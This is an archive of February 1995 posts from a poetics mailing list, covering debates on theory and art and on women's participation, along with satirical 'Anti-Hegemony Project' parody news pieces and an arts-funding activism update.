Text: I wanted to respond to Spencer's comment that theory/art have not impacted or have failed to impact people's lives. Two points: 1) Isn't this a very aestheticist postion? I'm sure the answer is yes, and that's fine, but this faith in art as having any ... responsibility or ability to change people's live has fallen under serious scepticism. I'm not trying to reduce Spencer's position to a humanism--and that in itself would not be such a bad thing--but how can we not face the fact that art itself has not saved us from ourselves? This point has been raised by others.... 2) Thoreau and/or Emerson make the point that reading their texts should change the reader, that reading them should provoke the reader into states of change,that the reader should undergo and be willing to undergo change (a la Peter Carafiol). I return to literature and art of all sorts because I continually find things that challenge me to think in different ways--Emerson of the divinity school address--rather than in static and calcified institutions (no matter what some may think). However, for all this usefulness of art, for all its ability to offer visions of difference and change . . . or simply beauty doesn't it seem somewhat limiting to hold art responsible for humanizing us? I sort of feel (I'm not sure, in other words, but suspect) that what is needed is a view of art that is able to avoid the humanizing and colonizing functions of art/literature . . . a position that also does not reduce its complexity and multiplicity to beautiful objects.

Refrain: I will now quickly peruse all the previous entries and see how much I've repeated of others's statements . . . .

Jeffrey Timmons

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236. Jeffrey Timmons
Re: deified theories and unfounded vocabularies
Tue 14 Feb 1995

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oh, and I forgot the most important thing: I too feel Spencer's disappointment (if I can characterize it as such) that art/theory has not impacted people's lives

more . . . . But is that art/theory's failure or our own? I include myself in this collective Our here . . . .

Jeffrey Timmons

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237. **Jeffrey Timmons**
Re: deified theories and unfounded vocabularies
Tue 14 Feb 1995

Geez, I've got to find a way of having the text before me while i respond: of course, Spencer said what I just said . . . Duh.

Jeffrey

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238. **Jeffrey Timmons**
Re: Deified Theories Limited
Wed 15 Feb 1995

Spencer's comments on 14 Feb were wonderful. I appreciate the way in which he communicates with the list and strives to address others with respect and interest. Thanks.

Jeffrey Timmons

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239. **Carla Billitteri**
Safe Discourse
Wed 15 Feb 1995

> *Subject: Valentine's Day*
> *Copyright: 1999 The Anti-Hegemony Project*
> *Date: 14 Feb 99 00:00:00 EST*
>
> *Lines: 89*
>
> *DEAR MS. MANNERISM -- I've been receiving funny little notes from an anonymous admirer. The most recent are decidely erotic, and I want to respond but don't know how. I think the sender may be Barney Fag, I mean Frank, but I'm not sure -- I don't even know if the sender is a he. What should I do? -- ``DICK ARMEY''*
> *GENTLE READER -- I can tell from the plaintive tone that you're a newcomer to cyberspace's brave new world, where safe discourse is the norm rather than exception. But since Ms. Mannerism's forte is not ``net-'' but ``etiquette,'' I asked an*

expert in social engineering to respond to your query (no pun intended). Without further ado, here's Myra Breckenridge of Vidal Sassoon Laboratories:

DEAR DICK -- Trying to tell a she-male from the scent of

---More---

Group bleari.features.ms.mannerism available: 21 - 29 unread: 1

article 28 14-FEB-1999 24:60:60

her e-mail will only break your heart -- and isn't worth the trouble anyway. In cyberspace, no one cares if your admirer is Barney Frank or Barney the dinosaur, so long as he minds his p's and q's. There's only language here.

Anonymous notes used to be scorned as the last refuge of the shy, the lonely, the cosmetically challenged, the socially awkward. AIDS (Acquired Intellectual Deficiency Syndrome) changed all that, ushering in an era of ``safe discourse'' -- conversation that doesn't involve any actual exchange of ideas.

Those used to pre-AIDS polemicism may find safe discourse a bit unnerving. But don't worry, honey. Once you get used to it, ``safe'' talk is just as hot as the other kind -- and you don't die from it.

But now, you ask, how did safe discourse develop?

Ironically, those most often blamed for the AIDS crisis -- unfairly, I might add -- helped point the way to a solution, both practically and theoretically.

That's right -- the S&M poets, so often demonized by conservative columnists. Their adventurous committment to ``the free play of the

---More---

Group bleari.features.ms.mannerism available: 21 - 29 unread: 1

article 28 14-FEB-1999 24:60:60

signifier,'' faulted by so many, offers a legacy of ideas to a whole new generation of socially adventurous poets, youngsters who now struggle to adapt those ideas to a very different world.

Perhaps a little background will help explain where your ``Barney'' is coming from. If you've read journalist Marjorie Perloff's best seller AND THE POETS DRONED ON (or seen the HBO special), some of this will already be familiar. If you don't mind reading something a bit harder, you might pick up Alan Davies' NAME, or ask your local librarian to suggest a few other titles.

Briefly (and skip ahead if this gets too technical), the Language Poets had two provocative insights, which they pushed (as was the temper of the times) flamboyantly, outrageously, in a manner that frightened their more timid contemporaries.

The first of these insights was that the unity of ``signs'' is illusory, that ``signifiers'' and ``signifieds'' are only arbitrarily related. The naive insistence, they claimed, on an absolute relation, serves only to bolster the status quo. One way, therefore, to shake up the status quo was to write as if the order of ``signifiers'' were more important than the order

---More---

Group bleari.features.ms.mannerism available: 21 - 29 unread: 1

article 28 14-FEB-1999 24:60:60

of ``signifieds'' -- exactly the opposite of ordinary usage.

Their other insight was that the unity of ``the subject'' is also illusory, also a bolstering of the status quo. Works that put ``the subject'' into question were thus highly prized. Usually this questioning was thematic, but forays into collaborative writing and flirtation with group identity extended this thematic questioning into the social arena also.

These two insights met in the relationship between ``name'' and ``person,'' a very particular sort of `sign-structure,'' and one which only a few Language Writers (Michael Palmer, for instance) paid attention to.

But how, you ask, does all this relate to anonymous notes and cyberspace? Simple:

By calling into question the reader's desire for ``proper names'' and ``proper meanings,'' Language Writing opened up a new space for performing ``ideological critique.'' The performance of this critique, alas, was decidedly unsafe. But no one knew the dangers then.

But all is not lost, for in cyberspace a writer can pander to a

---More---

Group bleari.features.ms.mannerism available: 21 - 29 unread: 1

article 28 14-FEB-1999 24:60:60

reader's desires and thwart them all at once. With safe discourse, writers can criticize the status quo without risk of infection.

Other discursive practices of L.P. which influence post-AIDS

> *polemicism:*
> *Sarcastic punning (Ron Silliman), allegorizing (James Sherry, Michael Davidson), pointed use of cut-up (Charles Bernstein, Tina Darragh), or parody (Bob Perleman, Steve McCaffery); wholesale appropriation of narratological structures (Carla Harryman) or authoritative documents (Rosmarie Waldrop, Susan Howe); guerrilla framing (Barrett Watten, Stephen Rodefer); eroticized address (Lyn Hejinian, Alan Davies, Jean Day).*
> *If any of this makes you curious, you might look at the work of some of the writers mentioned, writers who weren't (in any case) in any agreement as to how far their ``free play of the signifier'' should go.*
> *But study isn't necessary. The point is to play. If you have an admirer, give in to the thrill of seduction. If you admire someone, let them know. Today is Valentine's Day.*
> *Let's be careful out there.*

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240. **Belle Gironda**

BATC RAID ON ALBANY POETICULT

Wed 15 Feb 1995

Subject: BATC Raid on Albany Poeticult
Copyright: 1984 The Anti-Hegemony Project
Date: 7 May 1984 03:45:58 EST

LINES: 50

ALBANY (AHP) -- Officers of the Bureau of Alcohol, Tobacco and Chapbooks (BATC) have surrounded the barricaded multi-media lab in the basement of the Humanities building at the University at Albany where a small band of writers, artists and miscellany, reportedly led by poeticult figure Chris Funkhouser, have sequestered themselves, stockpiling software, poetry, audio and video equipment. Speculation is that this group may be a splinter faction of the Branch Derridean cult which occupied that same compound last winter. Funkhouser, who refuses to communicate with government officials except through the internet, e-mailed the BATC officers stationed outside the lab to announce that his group, ``... simply wished to live an alternative publishing lifestyle.''

---More---

Group bleari.pest.conglom available: 136 - 718 unread: 15

article 654 5-AUG-1984 09:34:23

``We want to be left alone,'' Funkhouser pleaded, ``We will come out when _The Little Magazine_ has been produced on CD-Rom. We are exercising our constitutional right to digitize.'' Sergeant Douglas Messerli of the BATC swat team says he and his commandos are monitoring the situation for any changes, ``We hope it won't not be necessary to bring in the heavy mimeo and stapleguns but we'll do whatever's necessary. We're not sure how they're holding out in there. We are doing our best to stop the flow of poetry in and out of their compound.'' Albany Speaker of the Common Knowledge Donald J. Byrd has sought to distance himself from the cult crisis, but sources close to the situation believe that he may be directly involved with an underground smuggling ring suspected of supplying the cult members with poetry and other necessities. Chris Stroffolino, Secretary of the Department of Reality, has called for a censure of Byrd whom he says withheld from his department knowledge that Funkhouser was entertaining delusions of an Imaginary University. Meanwhile, BATC officials remain puzzled about a suspected

---More---

Group bleari.pest.conglom available: 136 -718 unread: 15

article 654 5-AUG-1984 09:34:23

flow of contraband materials in and out of the compound. ``We can't figure out how they're getting past us,'' said a frustrated BATC spokesperson Lawrence Ferlinghetti, ``But we have reason to believe that they are forcibly digitizing work by Charles Bernstein, Anne Tardos, Jackson Mac Low, Madeline Gins, Will Alexander and others even as we speak.'' Self-appointed Prime Minister of Literary Video, Richard Kostelanetz, has voiced characteristically outspoken support for the cult's activities while being careful to note that he is suspicious of their possible connection with Foreign Minister of Antology, Pierre Joris, who failed to include Kostelanetz's work in his forthcoming Anthology of the Avant-Garde. Joris issued an official statement from the Department of Ontology and Anthologies today in response to Kostelanetz's accusations. Joris said, speaking for himself and House Rep. of the Whole Jerome Rothenberg, with regards to the top secret Anthology Project, ``He can't know he's not in it. How does he know he's not in it?''

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241. braman sandra
Re: Boy Talk
Wed 15 Feb 1995

The late Douglas Woolf's entry into the poetry and theory discussion:

Poems fly
through the
head faster
than thoughts
and are only
momentarily
forgot.

Sandra Braman

↑ Index

242. nada
where the boys are
Wed 15 Feb 1995

"Why don't more women post" is a rhetorical question, right? Everyone knows *why.*

(Or did you mean, "where are all the poster girls?")

Camille P. might say it's because we are neither skilled nor schooled in the art of directional peeing -- although *her* urine describes a pretty well-targeted arc.

Ron and Spencer, I extend my hand in gratitude for your chivalrous patronage ;-] And Joe, you sound like a sister. You all employed one of the pedagogic strategies I suggested in my first posting out of three in total, (which was about the reluctance to speak): teaching the verbally aggressive to use gambits to draw out silent interlocuters.

My second posting was a short one I intended as a respectful message about a poet whose works I love. I did not realize someone might find it offensive, and just, uh, shot it off. It's the one Ira called "dumb" and reacted to so vehemently. He and I have since had a volley of private e-mails first furious, then apologetic, with invitations to continue the dialogue.

Public nudity. Like this posting.

For a day though I was traumatized by my first experience of being flamed as I walked the streets of Tokyo in a tormented stupor wondering if I really was *dumb*.

I have already pointed out to Ira the irony of that choice of adjective.

Anyway that's why I don't post or speak so much in male-dom public forums, although my voice is always wanting to vibrate.

Is it so imperative that we (girls, I mean) seize the reins of (mainly male) academic discourse? Maybe, but I'd rather be on a different kind of horse, and take off the stupid uncomfortable bridle -- and be free to let Pegasus(sa) go where she wants, like I just wanted to say that I wanted the horse to be a pink one, not in spite of it being a dumb thing to say but precisely because it is dumb, and liking the fresh coy challenging dumb hollow echo that bounces off it.

Dumbness has unexplored potential in poetic(s) language, (especially in this age of acedemic piranha-ism) at least as a backlash or contrast or as a kid beholding a naked emperor. The dumbness of koans.

I read in a lot of poetics list postings desires to "get things hammered out once and for all" -- to be right. Being right is not always essential to me when I'm having a conversation -- which act can be conceived of as an opportunity to swap paradigms. Is the calendula more right than the hyacinth? How would *you* define "flesh-colored," or "eye-level"?

I may be falling into the trap of analyzing discourse from the perspective of biological determinism -- intellectually suspect (I just came back from a great performance of Henry VI, in which Queen Margaret -- admittedly a character developed by The Boy Bard -- verbally

kicked ass harder than anybody), but
empirically observable, too.

Like the frequency of qualifiers in "women's"
language. Re-read this message for
conditionals, maybes, seems, etc. Or that men
often (another qualifier) have two voices
(surely countless more), a public "war" voice
-- often heard on this list -- and a personal
voice, more modulated. As Tom Mandel's former
secty. (Tom, you did call me "honey" now and
then) and B.Watten's former student, I should
know.

I like this list best when information ideas
observations parodies accrue, not when it
sounds like a dogfight that needs hosing down.
Even then I like this list a lot, even if it is
d***-wagging bigshot-laden and, as one woman
writer wrote to me "boys talking about boys'
books". It's a techno-miracle for me to be
privy to its world while I'm marooned on this
archipelago.

Later, fellas. Nada (Gordon)

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243. I.LIGHTMAN
The interpersonal too is political
Wed 15 Feb 1995

The interpersonal too is political. You know you can trust me, and so you are correct to tell me, in confident confidence, "with my gender of partner preference defined, I can flirt passionately and we both enjoy it". On the way home, I feel real recalling you say this. It'd have been funny to make a joke of it then, or made a joke of something else you've said months ago, turning the present moment always into a lyric poem theory commercial with a punchline. It is real fun now not to have made fun of you then, the trust has made real men of us.

Or we turn to other cultures. Peter says, from a source, but it is an idea for my purposes, "with writing, in the first place, and the distribution of writing, in the second place, comes growth of idealist thinking." We have no memory of having been reincarnated. I wrote this for myself several lifetimes back. I knew there would be no visual flashback, that I would only have a sense of a familiar past of

writing, actually written be me aeons back, and use a (re)writing to see myself there, writing myself to death for myself in the future.

Growth is also a fungus. I consider what Justine Frischmann says in the March issue of Sky, "when you're in your twenties, being monogamous, especially fronting a band, isn't a horror to transgress. Damon read what I said about his flings, in Sky, and laughed". I'm walking. I have the thought that marriage mustn't be broken, like the pentameter was feared to be being broken, a superstition held to like a formal practice, and so much blame dumped on marriage break-up and not how, not the interpersonal time with the children, care where you put foot.

Or call it a political football. Carla Harryman answers a question, "certain forms of thinking are simply kept quiet, kept away, kept hidden. There are few locations in a public or social sense to value the creative" - from _A Suite of Poetic Voices_. Underlining on the typewriter is like a twelve string guitar, if the former is electronic and the latter is acoustic. So that in a culture of good locations, the interpersonal spaces made in community, the theatre of conversation in a platonic space where our ideas play as we discuss things in words, lessen writing.

I am not telling you this. Derrida says in the Post Card "there is the I of lover, the you of lover, the I that fears, the you that fears, the four of us, the fear of us and us". Paraphrase/troop. I wrote that too when I was nineteen, and about the thousand cuts of stepping on upturned plugs. I stepped on a plug just now, it hurt like memory. I love my readers non-sexually. I send letters and they go over not under your head, my intended heart-to-heart became a history of the city. By map we twist through streets, lists of locked doors.

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244. I.LIGHTMAN

Re: Boy Talk

Wed 15 Feb 1995

I love the idea of "delurking" - like "decloaking" in Star Trek...

I echo Kali Tal's annoyance at the homogeneity, and applaud her post. It's actua mark of difference one has to inscribe to signal non-assimilable content also has costs, or at least this is how I feel having had to use it myself. What Nada says about the "wartalk" of a lot of posters publically rings very true, of myself too - since I went on the warpath, as Cris noted, over what I perceived as a flippancy about mental illness in her very genuine concerned posting for Bernadette Mayer, language "deficiency" as mental "defiency" in so much writing about aphasia (eg Jakobson's) - Nada has since put me right privately that she meant no such flippancy. I just wonder, as a campaigner for children's rights, ablism,

and AIDS awareness, what *gender* such issues have, or are thought to have. Or perhaps: what gender does anger about such issues, or what issues, have? I was really furious about what I say as an attack on the vulnerable, so I used attention-seeking tactics, and angered Nada, when I found out privately I had a lot to learn from her/you. Sometimes accepting the right to anger of participants in a debate deemed gendered is, for me anyway, a vital precondition to creating a space where I learn from the person whose anger I accept (I'm very much talking about anger in this disembodied, non-physically-threatening e-space). It isn't the exclusion or the feeling invisible that bothers me, not in e-space, it's just boredom with the batting around of fixed positions and no-one learning from each other.

I say this in honesty, hope I don't seem to be discounting Kali or Nada's postings, very mucch support more woman-talk. I don't know if this is any other internetter's experience but I tend to delete certain regulars unread, so that what I see is the list I get. I would definitely read anything posted by Kali or Nada.

Very best,

Ira

P.S. Would anyone like to discuss Marjorie Perloff's review of Philip Larkin's poetry in Parnassus, especially anyone who also sees problems in it?

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245. Donald J. Byrd
Re: Theory
Wed 15 Feb 1995

Actually I am not sure what Parmenides meant, and I doubt that any one does. He clearly did _not_ mean that change is not possible. The clear theme of his poem is spiritual transformation.

The various attempts to formalize the logic are takes on Zeno's paradoxes.

It seems highly likely that Zeno did not understand his teacher. Students failing to understand their teachers is fairly common.

I quite agree that poetry is world-making, which seems to me quite a task. I can't imagine why one would not want to use all of the tools that one might have at hand.

Some one noted that my statements seemed too pat, and I think they probably are. However, I have found that this medium, at least in its present state, filters subtle discourse.

Apparently I was not pat enough to make my point clear.

There is a poetry that sees theory as a supplement (e.g. in order to get it you have to read the poets theoretical essays or Derrida or someone), and there is a poetry that takes responsibility for the theory in the verse itself (it helps to have to read Whitehead in order to understand the _Maximus_ but all the necessary stuff is taken into the poem itself). Thus, the poem is not an a mere example...

Of course, it is perfectly possible to say "I do not want to read dry awful theory. I am afraid it will rot my mind with jargon and the dreariness of its prose."

This is a real danger and a reasonable fear.

However, a very large part of the world we inhabit (if not the world we build) is theoretical.

This machine by which I am commuting is only incidentally a thing. Above all it is a theory, about which, I suspect, most of us are quite vague.

And, of course, to the extent that language as such is constructed, it too has a theory...

The fact seems to be that at least in this culture, the _power_ is with the theorists (e.g. engineers). Perhaps the problem with poetry is not theory but bad theory.

When it comes time for us to demo, we often seem nothing to show as complex and workable as, say, the internet.

Don Byrd

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246. James Sherry
Re: AHP
Wed 15 Feb 1995

What a delightful idea, that you have a collaborative sendup. Do you wish to suggest the actual list of participants, since to my ear the writers are not always the senders. Jmeas

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247. Alan Golding
Re: Boy Talk
Wed 15 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Why do I, as a male (non-female?) lurker, lurk as much as I do and, when I post, only post briefly and relatively safely? I'd partly been rationalizing it by telling myself I didn't have the time and/or that I didn't have much to add to what was already being said. But Charlotte Pressler's recent post in response to the "boy talk" issue really spoke exactly to my feelings too about use of this forum. I'm much, much comfortable working ideas through in conversation, with all the cues and body language and possibilities for instant restatement, clarification, negotiation, etc. that that allows than I am on the net, where I feel compelled (this may be my issue, I realize, but I suspect I'm not alone) to look smart, informed, thoughtful, whatever, to an audience many of whom I know but many of whom I don't. And if literal face-to-face conversation isn't available, which it usually isn't, I'm more comfortable working things "privately" in writing, drafting, redrafting, rethinking, before going public. It may just be that I haven't yet learned to use this medium or the list in a way that works for me and that also contributes to others. The disjunctiveness of e-mail exchanges fazes me--putting something forth one day, processing someone's response or responses two days later when I've already forgotten what I said. And I also share Spencer's feeling that whatever I say on here, I'm immediately dissatisfied with, and I haven't yet adjusted to living with a dissatisfaction that I sense may be intrinsic to the use of the list.

I've learned a good deal from all the recent posts on this, so thanks to Charlotte, B. Cass Clarke, Nada, Kali (my apologies if I'm leaving anyone out--trying to backtrack in my head over what I've read the last few days) for your open and instructive responses, and Ron for bringing it up.

Am I the only one who finds tone hard to read on the net? I sense not, from what Ira Lightman said in a recent post. I often can't tell, esp. when someone's

sounding snitty or high-handed or whatever, whether they're kidding or not, and that makes me reluctant to respond--I find this particularly with the more cryptic one- and two-line messages. Yeah, I guess I could ask them . . .

As far as I can tell, no-one here has noted the recent passing of James Merrill. A week or so ago, I believe, though I haven't seen an obit, just heard about it. Merrill readers on this list are few and far between, I imagine, but I always found him pretty interesting if one wanted to consider matters of artificeand absorption and authenticity.

One final thread: I've got to back Cris on Hokey Cokey. Maybe it's becawse I'm a Londoner (as another such pub song goes), but I only ever heard Cokey growing up east of London, and only encountered Pokey when I came to the U.S. For years I just assumed that it was one of those things that Americans couldn't get right (just as when I first moved to Chicago, I complained to people about their defective, non-Francophone pronunciation of Notre Dame [as in University of].)

I also never heard in the English version (or my English version) the verse that asks you to put your whole self in. That seems a particularly un-postmodern injunction.

OK, I'll shut up now.

Alan Golding

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248. Spencer Selby
Re: Deified Theories Limited
Wed 15 Feb 1995

Dear Mike Boughn,

Perhaps I'm a bit late in saying this, but I like your "engendering, particle accelerator statement" also. I believe that the way all things are both fragmenting and connecting is so great as to be incomprehensible, literally beyond belief. This is one big reason why our beliefs and explanations cannot be fully trusted.

When we go from a general sense of life's richness to explanations that are more specific, that is when the trouble starts. We cannot formulate or rationally comprehend this richness, its fluid order and connections, its complexity and unceasing fragmentation. We all have our awareness of this, dare I say, totality. But I believe art is better-suited to expressing or dealing with it than theory.

We don't have to make an either/or choice between theory and art, but there are very real dangers when those who seem to be the more knowledgeable

authorities of an art side with claims for the necessity of theoretical formulations with respect to that art. James, Tom and Don Byrd may balk at my implication that they are adopting authoritative stances, but I believe that is exactly what they are doing. In fact, that may be the biggest problem with the statements they have been making on this forum.

Spencer Selby

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249. Tom Mandel

Re: p>q re parmenides, etc.

Wed 15 Feb 1995

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and then also Black, but I don't remember his first name, alas. You see that I put my in my hours of toil, trimming the truth- function tables. Logic is fun stuff, and proofs like but utterly unlike poems, in that you know where you are going, but not how you're going to get there.

Tm

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250. Robert Drake

Hypertext mailing list (forwarded)

Wed 15 Feb 1995

---

for those of you not yet getting too much e-mail,
i'm forwarding the following:

ht_lit--the hypertext and literary theory mailing list.

This mailing list was created in February 1995 to provide a forum for discussion of hypertext fiction, hypertext and literary studies, and hypertext theory.

[redacted]

with the following body in the message:

subscribe ht_lit [<address>]

this will subscribe yourself (or <address> if specified) to ht_lit.

The posting address is
[redacted]

Postings to the list will be archived on the web at
http://chat.carleton.ca/~kmennie/ht_lit.html

The list owner is [redacted]

--end forwarded message

lbd

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251. **Chris Stroffolino**
Re: Boy Talk
Wed 15 Feb 1995

Dear Alan GOlding--thank you for your comments on "tone"--Actually, that is an issue I am extremely interested in not only in this forum but in writing in general. I'm curious if there's any thoughts about TONE, as a form/content issue, as a question of moods, of ideological state apparati, whatever. If "tone" is "beyond good and evil" and "beyond right and wrong" then is it something that is automatically humanist (in a retro derogatory way) as a concern and should not be theorized and thus taken for granted and thus the emotional appeal of rhetoric becomes either lazily anarchic and "all over the place" or one may end up in that "toneless tone" that allegedly is a sign of "clear thinking" and "authenticity" (despite the self-conscious theatricality...)?
Chris

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252. **Tom Fisher**
an overhead view of 1 of 54 golf holes
Wed 15 Feb 1995

"lurking" would be a hard word for it, or maybe misleading word one might say:

"there is no neccessary difference in perspective, it is not that is from the shadows so to speak that silence comes, as the events of the list offer themselves equally, presumably (i don't know much of whatever differences there might be), on the screen (of course, how one reads it, as has been brought up, is another question and maybe a more important one than whatever question here is pretended to be responded to.)

(in attempt to weave together threads:
relation of poetry and theory -- the relation of voice to silence

an anxiety about what articulates what-
one cd ask to those who are active: why are you so when it is
evident the majority of the list is not?"

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253. Steve Evans
Espousing 2/15
Thu 16 Feb 1995

FREELY ESPOUSING UPDATE 2/15/95:

* INITIAL REPORT FROM PHILADELPHIA
* REPRESENTATIVE GOODLING OF PENNSYLVANIA
* ORGANIZATIONAL QUESTIONS (OR, THE ART OF PRACTICE)
* WHAT WE'VE BEEN UP TO IN PROVIDENCE
* (BONUS) TRIBUTE TO FREE ESPOUSERS PAST: WILLIAM CARLOS WILLIAMS

INITIAL REPORT FROM PHILADELPHIA

On Saturday, February 11, a "Forum to Maintain Support for the Arts & Humanities" was held at The Great Hall on the University of Pennsylvania campus. Co-organized by Bob Perelman, Susan Stewart, and Gil Ott, the event featured upwards of 20 speakers from the dance, music, theater, visual arts, literary, and educational communities.

Perelman estimates the 70 people attended the two-hour event and reports that media coverage was good. On Sunday, the Philadelphia Inquirer ran a story on page 2 of its Metro section. On Monday, event-participant Julia Blumenreich (poet, editor, and public school teacher) was the subject of an Inquirer Op-Ed piece about art in the classroom. The Daily Pennsylvania (U Penn's newspaper) ran a front-page article on the forum and reporters for several other magazines and papers are planning to run pieces as well. All of this is in addition to Perelman's own op-ed piece ("Government by Irritation") in the Sunday Feb 5 Inquirer.

More details as they become available.

REPRESENTATIVE GOODLING OF PENNSYLVANIA

Staying in Pennsylvania for a moment, Republican Rep. Bill Goodling is chair of the House Committee on Economic and Educational Opportunities. Recently, Goodling has called for a 3-year "phase-out" of the NEA. If you know people in Goodling's district (which includes York and Gettsburg, but what about Shippensburg?), it is crucial that they speak up for arts funding. For more information, contact Anne Burt of the Literary Network ([redacted]).

ORGANIZATIONAL QUESTIONS (OR, THE ART OF PRACTICE)

In his note to us about Saturday's events in Philly, Bob Perelman writes: "The most intriguing possibility is the most difficult to implement. There were many committed people from a range of different arts. We passed around a mailing list--but what is the next step??"

The transition from discrete event to ongoing project is a fairly difficult one. But as Ray Rickman told the audience at Freely Espousing-Providence, this fight will not be won unless people are willing to do something *everyday.* The task in the coming weeks is simple enough: we have to outwrite the right.

But how can that task be accomplished? As the focus turns local how do we gaurd against isolation? What should the next wave of synchronized events look like? How can we be sure that the makers, and not only the managers, of culture play a part in the national debate?

The key is to make the prospect of participation *interesting.* If artists and writers can't do that, who can?

We encourage everyone who is receiving these updates to think through at both a local and a national level the question about how to continue and expand these efforts. Open, imaginative debate is one resource we have that the tightly organized, well-funded, religious right cannot afford.

WHAT WE'VE BEEN UP TO IN PROVIDENCE

In Providence, we shifted fairly quickly after the 1/28 event toward planning our role in a broad forum on the Balanced Budget Amendment that will take place on 2 March. The work is of the always essential/sometimes tedious kind: attending meetings, xeroxing fliers, working phone banks, etc. Still, it's the kind of action we're happy to be involved with since the objective is coalition building.

Meanwhile, we keep trying to expand our means of communication: exploring the possibility of establishing a list-serve (an as-yet unresolved question), hooking up to Arts Wire, informing people about what *FE* is and what has happened so far, educating ourselves about legislative processes, and so forth.

We also spent some time assessing what relationship we wanted to adopt to existing arts organizations. At this point, we've decided to remain an indepedent project and to seek alliances on that basis. The drawback to that decision is that we remain for the most part without resources. The advantage is that we don't waste time in intra-organizational squabbles and we don't have to submit our thinking and action to an established "line" on how and whom to organize.

(BONUS) TRIBUTE TO FREE ESPOUSERS PAST: WILLIAM CARLOS WILLIAMS

All that which makes the pear ripen
or the poet's line
come true!

Invention is the heart of it.

Without the quirks
and oddnesses of invention
the paralytic is confirmed
in his paralysis,
it is from a northern
and half-savage country
where the religion
is hate.
There
the citizens are imprisoned.

--"Deep Religious Faith" (_Pictures from Brueghel_)

Steve Evans & Jennifer Moxley / Freely Espousing
61 E. Manning St., Providence RI 02906-4008
[redacted]

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254. Spencer Selby
Re: Dumb And Dumber
Thu 16 Feb 1995

Dear Nada,

I appreciated your post a lot. Specifically I liked the stuff you said about "dumb." My feeling about it is, there are many kinds of dumb. Some kinds may be easier to detect, but often those kinds are less significant than kinds which are not so apparent.

I'm thinking of a forest and trees. And in this forest there are some really big trees, some trees one could get lost in, maybe for years or even a lifetime. Men are very good at this. I don't know if it's an innate talent they--I'm sorry--we have, or something passed on and built up, primarily through the course of Western Civilization.

What do you think?

Spencer

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255. **Nick Lawrence**

Is Theory Bad for You?

Thu 16 Feb 1995

Group teari.news.poesy available: 11094 - 11157 unread: 52
article -.0001 16-FEB-1999 14:02:47.77

ROME (AP) -- The warning made front-page headlines. Cafe customers buzzed about it. Experts came on lunch-time TV to calm Italians just as they were sitting down for their daily serving of theory.

For Italians, a suggestion by American poeticians that theory can be bad for you has been harder to swallow than mushy lyricism.

``The whole thing is so ridiculous,'' the head of the Italian Poeticians Society, Eugenio Donato, said on Inferno state television.

Donato appeared on the national news to talk about arguments by U.S. experts that starchy prose might contribute to overweening self-righteousness.

The experts were quoted in a front-page article in Wednesday's New York Times to the immediate alarm of U.S.-based Italian newspaper correspondents.

``America, You Don't Understand Theory,'' was the headline over a front-page commentary in Thursday's La Stampa, a nationwide daily.

The Times article focused on concerns that a diet heavy on speculative poetics might be bad for the ponderous, particularly for those whose bodies tend to overproduce abstraction after reading

---More---
Group teari.news.poesy available: 11094 - 11157 unread: 52
article -.0001 16-FEB-1999 14:02:47.77

philosophical prose. ``Bye-bye theory. It's been fun,'' the Times wrote.

``The more explanations your body produces the more likely it is that you will convert poetic calories into intellectual dogma'' the paper quoted Dr. Spencer Selby, the author of ``Art More, Posit Less.''

Italians counter that Americans just need to learn how to read.

``Americans ought to just think about giving up reading mindlessly -- about quitting stuffing themselves four times a day with mountains of new sentences and haiku,'' Carla Billiteri, who teaches poetics at University of the Sacred Art (USA) in Buffalo, told La Stampa.

Benjamin Friedlander, an American educator, serves up platefuls of alterity accompanied by aporias, post-Howe Dickinsonian poetics, Levinasian theories of relation and other poststructuralist mumbo-gumbo to elbow-to-elbow teatime crowds at his Advanced Writing 1 undergraduate

> *course, not far from USA's busy Student Commons. He scoffed at the notion that theory could lead to tediousness.*
> *``Customers come here and tell me `I'm feeling specific -- I'll just have theory today,''' Friedlander said.*
> *After poking fun at the U.S. theory theory, state television was quick to recognize that talk about abstraction might worry Italians who*
>
> *---More---*
> *Group teari.news.poesy available: 11094 - 11157 unread: 52*
> *article -.0001 16-FEB-1999 14:02:47.77*
>
> *commonly read theory once or twice a day and who lately have heard lots of reassuring talk about the benefits of a Continental booklist -- theory, history, disquisitions on community and the like.*
> *Inferno asked, for example, if it was dangerous for readers lacking the poetry enzyme to read poetic theory. Donato replied that a small passage of it once a day would be fine--``just avoid truck-driver-sized portions.''*
> *This isn't the first time Italians have turned defensive about theory. When a U.S. study not too long ago denounced the vacuity of literary deconstruction, Italians were quick to point out that that dish, smothered with airless reiterations of the same three concepts, was invented to satisfy American tastes.*
> *Many Americans wouldn't even recognize what's sold in bookstores here. Theory is more likely to be topped by entertainingly steamy meditations on sexual difference, like those of Duras, Irigaray or Kristeva, than anything heavy. Ludic postmodernism, if you can find it, is a separate dish, to follow theory or news.*
> *Poetician Donato suggested Americans should try reading spy novels with their theory, saying that plot helps slow down the antiabsorptiveness of the prose.*

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256. **Kali Tal**
More Boy Talk
Thu 16 Feb 1995

Sigh.

Let's look at what's happened.

Some well meaning male person asked why women don't post more often on POETICS. Several women "delurked" and answered the question, giving various and substantial explanations. A few men commented on the question itself, or on the responses given by the women. But only Spencer Selby has attempted to directly draw any of the women into a conversation by responding to her *ideas* or *assertions*.

Alan Golding wrote that Charlotte Pressler's post spoke to *his* feelings of isolation and, thanking Charlotte and the rest of us for addressing something of importance to him, changed the topic to a discussion of "tone" in espace. Still under the heading "Boy Talk" (which is always already the proper subject line), Chris Stroffolino thanked *Alan Golding* for his comments on "tone" and asked Alan a direct question, providing a jumping-off place for a conversation between men, effectively appropriating the "Boy Talk" header, and bringing us back to where we started.

Sheesh. Double sheesh.

IF YOU WANT MORE WOMEN TO POST ON THIS LIST YOU GOTTA *TALK* TO 'EM. I know that's a really hard idea to grasp--revolutionary even--but that's what you gotta do.

Triple sheesh.

We now return you to our regularly scheduled programming.

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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257. **Donald J. Byrd**
RAID ON AHP BOT (fwd)
Thu 16 Feb 1995

> *THE CO-POETRY NEWS NETWORK*
>
> *ALBANY (CNN)-- It has been reported that James Sherry and a vigilante posse of poets and others who are committed to decorum on the Internet have located the computer of the Anti-Hegemony Project in an abandoned road-side bar near Herkimer, New York. Although details on the raid are sketchy, it is believed that the computer was a cunningly conceived artificial intelligence machine or "bot," as they are known on the internet. There appeared to be no human operators.*
>
> *Although details are still sketchy in this fast breaking story, it appears that the computer, an ordinary IBM 8088 of about 1985 vintage, had gone into spontaneous self-*

